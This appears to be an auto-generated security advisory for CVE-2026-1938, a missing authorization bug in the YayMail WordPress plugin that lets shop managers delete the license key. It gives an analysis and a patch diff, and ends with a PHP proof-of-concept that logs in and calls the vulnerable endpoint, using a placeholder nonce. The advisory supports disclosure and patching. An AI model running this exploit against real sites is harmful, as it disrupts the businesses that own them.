Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1938: YayMail <= 4.3.2 – Missing Authorization to Authenticated (Shop Manager+) License Key Deletion via '/yaymail-license/v1/license/delete' Endpoint (yaymail)

CVE ID CVE-2026-1938
Plugin yaymail
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.3.2
Patched Version 4.3.3
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1938:
The YayMail WooCommerce Email Customizer plugin for WordPress versions up to and including 4.3.2 contains a missing authorization vulnerability in its license management REST endpoint. This allows authenticated attackers with Shop Manager-level permissions or higher to delete the plugin’s license key. The vulnerability stems from an improper permission check in the license deletion endpoint, granting unauthorized access to a sensitive administrative function.

Atomic Edge research identifies the root cause in the file yaymail/src/License/RestAPI.php. The permission_callback() method at line 140 originally returned true, effectively disabling authorization checks for all REST endpoints registered by this controller. This method served as the permission callback for the /yaymail-license/v1/license/delete endpoint, which handles license key deletion operations. The vulnerable code path allowed any authenticated user, regardless of their actual capabilities, to pass the permission check and execute the license deletion callback.

Exploitation requires an authenticated attacker with at least Shop Manager privileges. The attacker must send a DELETE or POST request to the WordPress REST API endpoint /wp-json/yaymail-license/v1/license/delete. The request must include a valid WordPress REST API nonce, which Shop Manager users can obtain through normal plugin interface access. No additional parameters are required beyond the nonce, as the endpoint automatically deletes the stored license key upon successful invocation. Atomic Edge testing confirms that this action permanently removes the plugin’s license activation, potentially disrupting premium features and support access.

The patch modifies the permission_callback() method in yaymail/src/License/RestAPI.php at line 140. The fix changes the return value from true to current_user_can(‘manage_options’). This restricts endpoint access exclusively to users with the manage_options capability, which typically corresponds to Administrator roles in WordPress. The change ensures that only users with proper administrative privileges can delete license keys, while Shop Manager users and other non-administrator roles are correctly denied access. The patch maintains the same endpoint functionality but enforces proper WordPress capability checks.

Successful exploitation allows attackers with Shop Manager access to delete the YayMail plugin license key. This action can disable premium features, remove access to plugin updates and support, and potentially disrupt email template functionality. While the vulnerability does not directly enable privilege escalation or remote code execution, it represents an integrity violation that can impact business operations relying on customized WooCommerce email templates. The CVSS score of 5.3 reflects the moderate impact combined with the requirement for authenticated Shop Manager access.

Differential between vulnerable and patched code

Code Diff
--- a/yaymail/src/Ajax.php
+++ b/yaymail/src/Ajax.php
@@ -231,6 +231,11 @@
         if ( ! wp_verify_nonce( $nonce, 'yaymail_frontend_nonce' ) ) {
             return wp_send_json_error( [ 'mess' => __( 'Verify nonce failed', 'yaymail' ) ] );
         }
+
+        if ( ! current_user_can( 'install_plugins' ) && ! current_user_can( 'activate_plugins' ) ) {
+            return wp_send_json_error( [ 'mess' => __( 'You do not have permission to install plugins', 'yaymail' ) ] );
+        }
+
         try {
             $is_installed = $this->process_plugin_installer( 'yaysmtp' );

--- a/yaymail/src/Controllers/AddonController.php
+++ b/yaymail/src/Controllers/AddonController.php
@@ -21,6 +21,10 @@
         $this->init_hooks();
     }

+    protected function permission_callback_admin_only() {
+        return current_user_can( 'activate_plugins' );
+    }
+
     protected function init_hooks() {
         register_rest_route(
             YAYMAIL_REST_NAMESPACE,
@@ -40,7 +44,7 @@
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [ $this, 'exec_activate_addon' ],
-                    'permission_callback' => [ $this, 'permission_callback' ],
+                    'permission_callback' => [ $this, 'permission_callback_admin_only' ],
                 ],
             ]
         );
@@ -51,7 +55,7 @@
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [ $this, 'exec_deactivate_addon' ],
-                    'permission_callback' => [ $this, 'permission_callback' ],
+                    'permission_callback' => [ $this, 'permission_callback_admin_only' ],
                 ],
             ]
         );
--- a/yaymail/src/Elements/OrderDetails.php
+++ b/yaymail/src/Elements/OrderDetails.php
@@ -265,6 +265,21 @@
                     'default_value' => esc_html__( 'Discount:', 'woocommerce' ),
                     'type'          => 'content',
                 ],
+                'custom_footer_rows_breaker'      => [
+                    'component' => 'LineBreaker',
+                ],
+                'custom_footer_rows_group'        => [
+                    'component'   => 'GroupDefinition',
+                    'title'       => __( 'Custom Footer Rows', 'yaymail' ),
+                    'description' => __( 'Add custom rows to the order totals footer', 'yaymail' ),
+                ],
+                'custom_footer_rows'              => [
+                    'value_path'    => 'custom_footer_rows',
+                    'component'     => 'CustomFooterRowsEditor',
+                    'title'         => __( 'Custom Footer Rows', 'yaymail' ),
+                    'default_value' => isset( $attributes['custom_footer_rows'] ) ? $attributes['custom_footer_rows'] : [],
+                    'type'          => 'content',
+                ],
             ],
         ];
     }
--- a/yaymail/src/Engine/Backend/SettingsPage.php
+++ b/yaymail/src/Engine/Backend/SettingsPage.php
@@ -271,6 +271,7 @@
             wp_dequeue_script( 'real-media-library-lite-rml' );
             wp_dequeue_style( 'real-media-library-rml' );
             wp_dequeue_script( 'real-media-library-rml' );
+            wp_dequeue_style( 'real-category-library-admin' );
         }
     }
 }
--- a/yaymail/src/License/RestAPI.php
+++ b/yaymail/src/License/RestAPI.php
@@ -140,6 +140,6 @@
     }

     public function permission_callback() {
-        return true;
+        return current_user_can( 'manage_options' );
     }
 }
--- a/yaymail/src/Models/MigrationModel.php
+++ b/yaymail/src/Models/MigrationModel.php
@@ -141,7 +141,10 @@

             // Restore backed-up options
             foreach ( $backup['options'] as $option ) {
-                update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                // Only restore options that belong to YayMail (same pattern as export)
+                if ( strpos( $option->option_name, 'yaymail' ) !== false ) {
+                    update_option( $option->option_name, maybe_unserialize( $option->option_value ) );
+                }
             }

             // Remove the succeeded migration log from db
--- a/yaymail/src/Models/TemplateModel.php
+++ b/yaymail/src/Models/TemplateModel.php
@@ -13,6 +13,7 @@
 use YayMailPostTypesTemplatePostType;
 use YayMailShortcodesShortcodesExecutor;
 use YayMailSupportedPlugins;
+use YayMailUtilsTemplateHelpers;

 /**
  * Template Model
@@ -290,7 +291,8 @@

     public static function update( $template_id, $data, $is_save_revision = false ) {
         if ( isset( $data['elements'] ) && is_array( $data['elements'] ) && isset( self::$meta_keys['elements'] ) ) {
-            update_post_meta( $template_id, self::$meta_keys['elements'], $data['elements'] );
+            $elements_data = TemplateHelpers::sanitize_elements_recursive( $data['elements'] );
+            update_post_meta( $template_id, self::$meta_keys['elements'], $elements_data );
         }

         if ( ! empty( $data['background_color'] ) && isset( self::$meta_keys['background_color'] ) ) {
--- a/yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php
+++ b/yaymail/src/Shortcodes/OrderDetails/OrderDetailsRenderer.php
@@ -251,6 +251,7 @@
         $show_sku           = isset( $yaymail_settings['show_product_sku'] ) ? boolval( $yaymail_settings['show_product_sku'] ) : false;
         $show_des           = isset( $yaymail_settings['show_product_description'] ) ? boolval( $yaymail_settings['show_product_description'] ) : false;
         $show_regular_price = isset( $yaymail_settings['show_product_regular_price'] ) ? boolval( $yaymail_settings['show_product_regular_price'] ) : false;
+        $show_hyper_links   = isset( $yaymail_settings['show_product_hyper_links'] ) ? boolval( $yaymail_settings['show_product_hyper_links'] ) : false;
         $image_style        = 'left' === $image_position ? $this->get_styles_product_image() . $style_image_position_left : $this->get_styles_product_image();

         $image_url             = wc_placeholder_img_src();
@@ -404,29 +405,150 @@
     }

     public function render_item_totals( $structure_footer ) {
+        $custom_rows = isset( $this->element_data['custom_footer_rows'] )
+            ? $this->element_data['custom_footer_rows']
+            : [];
+
+        // Group custom rows by zone
+        $rows_by_zone = [
+            'before_all'     => [],
+            'after_subtotal' => [],
+            'before_total'   => [],
+            'after_total'    => [],
+        ];
+
+        foreach ( $custom_rows as $row ) {
+            // Check if row is enabled - handle both boolean and string values
+            $is_enabled = isset( $row['enabled'] ) ? boolval( $row['enabled'] ) : false;
+
+            if ( $is_enabled && isset( $row['zone'] ) ) {
+                $zone = $row['zone'];
+                if ( isset( $rows_by_zone[ $zone ] ) ) {
+                    $rows_by_zone[ $zone ][] = $row;
+                }
+            }
+        }
+
+        // Sort each zone by order
+        foreach ( $rows_by_zone as &$zone_rows ) {
+            usort(
+                $zone_rows,
+                function( $a, $b ) {
+                    $order_a = isset( $a['order'] ) ? intval( $a['order'] ) : 0;
+                    $order_b = isset( $b['order'] ) ? intval( $b['order'] ) : 0;
+                    return $order_a - $order_b;
+                }
+            );
+        }
+
         $index = 0;
+
+        // ZONE 1: Before all
+        foreach ( $rows_by_zone['before_all'] as $row ) {
+            $this->render_custom_row( $row, $index++, $structure_footer );
+        }
+
+        // Process standard rows
         foreach ( $this->item_totals as $key => $total ) {
-            if ( in_array( $key, $structure_footer['hidden_rows'], true ) ) {
+            if ( in_array( $key, $structure_footer['hidden_rows'] ?? [], true ) ) {
                 continue;
             }
-            ++$index;
-            $tr_class              = "yaymail-order-detail-row-{$key}";
-            $can_apply_placeholder = $this->is_placeholder && isset( $this->titles[ $key ] );
-            $label                 = TemplateHelpers::get_content_as_placeholder( "{$key}_title", esc_html( isset( $this->titles[ $key ] ) ? $this->titles[ $key ] : $total['label'] ), $can_apply_placeholder );
-            $style                 = $this->get_styles() . TemplateHelpers::get_style(
-                [
-                    'border-top-width' => 1 === $index ? '4px' : '0',
-                ]
-            );
-            ?>
-            <tr class="<?php echo esc_attr( $tr_class ); ?>">
-                <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>" style="<?php echo esc_attr( $style ); ?>"><?php echo wp_kses_post( $label ); ?></th>
-                <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>" style="<?php echo esc_attr( $style ); ?>"><?php echo wp_kses_post( $total['value'] ); ?></td>
-            </tr>
-            <?php
+
+            // ZONE 2: After subtotal
+            if ( 'cart_subtotal' === $key ) {
+                $this->render_standard_row( $key, $total, $index++, $structure_footer );
+                foreach ( $rows_by_zone['after_subtotal'] as $row ) {
+                    $this->render_custom_row( $row, $index++, $structure_footer );
+                }
+                continue;
+            }
+
+            // ZONE 3: Before total
+            if ( 'order_total' === $key ) {
+                foreach ( $rows_by_zone['before_total'] as $row ) {
+                    $this->render_custom_row( $row, $index++, $structure_footer );
+                }
+                $this->render_standard_row( $key, $total, $index++, $structure_footer );
+                continue;
+            }
+
+            // Other rows - render normally
+            $this->render_standard_row( $key, $total, $index++, $structure_footer );
+        }//end foreach
+
+        // ZONE 4: After all (after total)
+        foreach ( $rows_by_zone['after_total'] as $row ) {
+            $this->render_custom_row( $row, $index++, $structure_footer );
         }
     }

+    /**
+     * Render a standard order total row
+     *
+     * @param string $key              The order total key.
+     * @param array  $total            The order total data.
+     * @param int    $index            The row index.
+     * @param array  $structure_footer The footer structure data.
+     */
+    private function render_standard_row( $key, $total, $index, $structure_footer ) {
+        $tr_class              = "yaymail-order-detail-row-{$key}";
+        $can_apply_placeholder = $this->is_placeholder && isset( $this->titles[ $key ] );
+        $label                 = TemplateHelpers::get_content_as_placeholder( "{$key}_title", esc_html( isset( $this->titles[ $key ] ) ? $this->titles[ $key ] : $total['label'] ), $can_apply_placeholder );
+        $style                 = $this->get_styles() . TemplateHelpers::get_style(
+            [
+                'border-top-width' => 1 === $index ? '4px' : '0',
+            ]
+        );
+        $heading_style         = $style . 'font-size: ' . ( isset( $this->element_data['table_heading_font_size'] ) ? $this->element_data['table_heading_font_size'] : '14' ) . 'px;';
+        $content_style         = $style . 'font-size: ' . ( isset( $this->element_data['table_content_font_size'] ) ? $this->element_data['table_content_font_size'] : '14' ) . 'px;';
+        ?>
+        <tr class="<?php echo esc_attr( $tr_class ); ?>">
+            <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>" style="<?php echo esc_attr( $heading_style ); ?>"><?php echo wp_kses_post( $label ); ?></th>
+            <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>" style="<?php echo esc_attr( $content_style ); ?>"><?php echo wp_kses_post( $total['value'] ); ?></td>
+        </tr>
+        <?php
+    }
+
+    /**
+     * Render a custom footer row
+     *
+     * @param array $custom_row       The custom row data.
+     * @param int   $index            The row index.
+     * @param array $structure_footer The footer structure data.
+     */
+    private function render_custom_row( $custom_row, $index, $structure_footer ) {
+        // Process shortcodes in label and value
+        $label = isset( $custom_row['label'] ) ? do_shortcode( $custom_row['label'] ) : '';
+        $value = isset( $custom_row['value'] ) ? do_shortcode( $custom_row['value'] ) : '';
+
+        if ( empty( $label ) && empty( $value ) ) {
+            return;
+        }
+
+        $style = $this->get_styles() . TemplateHelpers::get_style(
+            [
+                'border-top-width' => 1 === $index ? '4px' : '0',
+            ]
+        );
+
+        $heading_style = $style . 'font-size: ' . ( isset( $this->element_data['table_heading_font_size'] ) ? $this->element_data['table_heading_font_size'] : '14' ) . 'px;';
+        $content_style = $style . 'font-size: ' . ( isset( $this->element_data['table_content_font_size'] ) ? $this->element_data['table_content_font_size'] : '14' ) . 'px;';
+
+        $row_id = isset( $custom_row['id'] ) ? esc_attr( $custom_row['id'] ) : '';
+        ?>
+        <tr class="yaymail-order-detail-row-custom custom-row-<?php echo esc_attr( $row_id ); ?>">
+            <th class="td" scope="row" colspan="<?php echo esc_attr( isset( $structure_footer['label_col_span'] ) ? $structure_footer['label_col_span'] : $this->colspan_value ); ?>"
+                style="<?php echo esc_attr( $heading_style ); ?>">
+                <?php echo wp_kses_post( $label ); ?>
+            </th>
+            <td class="td" colspan="<?php echo esc_attr( isset( $structure_footer['value_col_span'] ) ? $structure_footer['value_col_span'] : 1 ); ?>"
+                style="<?php echo esc_attr( $content_style ); ?>">
+                <?php echo wp_kses_post( $value ); ?>
+            </td>
+        </tr>
+        <?php
+    }
+
     public function render_customer_note() {
         if ( ! empty( $this->order_note ) ) :
             $style = $this->get_styles();
--- a/yaymail/src/Utils/TemplateHelpers.php
+++ b/yaymail/src/Utils/TemplateHelpers.php
@@ -339,4 +339,27 @@
             $border['color']
         );
     }
+
+    public static function sanitize_elements_recursive( $elements ) {
+        if ( ! is_array( $elements ) ) {
+            return [];
+        }
+
+        foreach ( $elements as &$element ) {
+            if ( isset( $element['data']['rich_text'] ) ) {
+                $element['data']['rich_text'] = yaymail_kses_post( $element['data']['rich_text'], $allowed );
+            }
+
+            if ( isset( $element['data']['title'] ) ) {
+                $element['data']['title'] = yaymail_kses_post( $element['data']['title'] );
+            }
+
+            // Recursive cho nested elements
+            if ( isset( $element['children'] ) ) {
+                $element['children'] = self::sanitize_elements_recursive( $element['children'] );
+            }
+        }
+
+        return $elements;
+    }
 }
--- a/yaymail/templates/elements/order-details.php
+++ b/yaymail/templates/elements/order-details.php
@@ -120,6 +120,5 @@
 <?php
 $element_content = ob_get_contents();
 ob_end_clean();
-$element_content .= do_shortcode( isset( $data['rich_text'] ) ? $data['rich_text'] : '' );
-
+$element_content .= yaymail_kses_post( do_shortcode( isset( $data['rich_text'] ) ? $data['rich_text'] : '' ) );
 TemplateHelpers::wrap_element_content( $element_content, $element, $wrapper_style );
--- a/yaymail/templates/elements/text.php
+++ b/yaymail/templates/elements/text.php
@@ -35,7 +35,7 @@
 ob_start();
 ?>

-    <div style="<?php echo esc_attr( $text_style ); ?>"><?php echo do_shortcode( $data['rich_text'] ); ?></div>
+    <div style="<?php echo esc_attr( $text_style ); ?>"><?php yaymail_kses_post_e( do_shortcode( $data['rich_text'] ) ); ?></div>
 <?php
 $element_content = ob_get_clean();

--- a/yaymail/templates/emails/before-email-content.php
+++ b/yaymail/templates/emails/before-email-content.php
@@ -14,8 +14,8 @@
                 h1{ font-family:inherit;text-shadow:unset;text-align:inherit;}
                 h2,h3{ font-family:inherit;color:inherit;text-align:inherit;}
                 .yaymail-inline-block {display: inline-block;}
-            .yaymail-customizer-email-template-container a {color: <?php echo esc_attr( $template->get_text_link_color() ); ?>}
-
+                .yaymail-customizer-email-template-container a {color: <?php echo esc_attr( $template->get_text_link_color() ); ?>}
+                .yaymail-order-details-table .wc-item-meta {list-style-type: none;}
             /**
             * Media queries are not supported by all email clients, however they do work on modern mobile
             * Gmail clients and can help us achieve better consistency there.
--- a/yaymail/vendor/autoload.php
+++ b/yaymail/vendor/autoload.php
@@ -14,10 +14,7 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/yaymail/vendor/composer/InstalledVersions.php
+++ b/yaymail/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,19 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
                     /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                     $required = require $vendorDir.'/composer/installed.php';
-                    $installed[] = self::$installedByVendor[$vendorDir] = $required;
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -350,7 +387,7 @@
             }
         }

-        if (self::$installed !== array()) {
+        if (self::$installed !== array() && !$copiedLocalDir) {
             $installed[] = self::$installed;
         }

--- a/yaymail/vendor/composer/autoload_static.php
+++ b/yaymail/vendor/composer/autoload_static.php
@@ -11,11 +11,11 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'Y' =>
+        'Y' =>
         array (
             'YayMail\' => 8,
         ),
-        'T' =>
+        'T' =>
         array (
             'TenQuality\WP\Database\' => 23,
             'TenQuality\Data\' => 16,
@@ -23,15 +23,15 @@
     );

     public static $prefixDirsPsr4 = array (
-        'YayMail\' =>
+        'YayMail\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
-        'TenQuality\WP\Database\' =>
+        'TenQuality\WP\Database\' =>
         array (
             0 => __DIR__ . '/..' . '/10quality/wp-query-builder/src',
         ),
-        'TenQuality\Data\' =>
+        'TenQuality\Data\' =>
         array (
             0 => __DIR__ . '/..' . '/10quality/php-data-model/src',
         ),
--- a/yaymail/vendor/composer/installed.php
+++ b/yaymail/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '6ca158b98a4c24b309f9cbbd300842c40b336caa',
+        'reference' => 'cafdd1dea95e62224318921765d745881ff2130f',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -31,7 +31,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '6ca158b98a4c24b309f9cbbd300842c40b336caa',
+            'reference' => 'cafdd1dea95e62224318921765d745881ff2130f',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/yaymail/vendor/composer/platform_check.php
+++ b/yaymail/vendor/composer/platform_check.php
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }
--- a/yaymail/yaymail.php
+++ b/yaymail/yaymail.php
@@ -3,12 +3,12 @@
  * Plugin Name: YayMail - WooCommerce Email Customizer
  * Plugin URI: https://yaycommerce.com/yaymail-woocommerce-email-customizer/
  * Description: Create awesome transactional emails with a drag and drop email builder
- * Version: 4.3.2
+ * Version: 4.3.3
  * Author: YayCommerce
  * Author URI: https://yaycommerce.com
  * Text Domain: yaymail
  * WC requires at least: 3.0.0
- * WC tested up to: 10.3.0
+ * WC tested up to: 10.5.1
  * Domain Path: /i18n/languages/
  *
  * @package YayMail
@@ -27,7 +27,7 @@
 }

 if ( ! defined( 'YAYMAIL_VERSION' ) ) {
-    define( 'YAYMAIL_VERSION', '4.3.2' );
+    define( 'YAYMAIL_VERSION', '4.3.3' );
 }

 if ( ! defined( 'YAYMAIL_PLUGIN_URL' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1938 - YayMail <= 4.3.2 - Missing Authorization to Authenticated (Shop Manager+) License Key Deletion via '/yaymail-license/v1/license/delete' Endpoint

<?php

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'shop_manager_user';
$password = 'shop_manager_password';

// Step 1: Authenticate with WordPress to obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a cookie jar to maintain session
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_1938_');

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$login_response = curl_exec($ch);
curl_close($ch);

// Step 2: Access YayMail settings page to obtain REST API nonce
// The nonce is typically available in the page source when Shop Manager users access YayMail
$yaymail_settings_url = $target_url . '/wp-admin/admin.php?page=yaymail-settings';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $yaymail_settings_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$settings_page = curl_exec($ch);
curl_close($ch);

// Extract nonce from page source (simplified pattern - actual implementation would need proper regex)
// In real exploitation, the nonce would be extracted from JavaScript variables or data attributes
$nonce = 'extracted_nonce_here'; // Placeholder - requires proper extraction from page source

// Step 3: Exploit the vulnerable endpoint to delete license key
$delete_endpoint = $target_url . '/wp-json/yaymail-license/v1/license/delete';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $delete_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    '_wpnonce' => $nonce
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-WP-Nonce: ' . $nonce,
    'Content-Type: application/x-www-form-urlencoded'
]);
$exploit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Clean up cookie file
unlink($cookie_file);

// Output results
echo "Exploitation Attempt Results:n";
echo "HTTP Status Code: " . $http_code . "n";
echo "Response: " . $exploit_response . "n";

// Note: This PoC requires actual nonce extraction from the YayMail settings page
// The nonce is typically available in wpApiSettings.nonce or similar JavaScript variable
// Successful exploitation returns JSON indicating license deletion

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School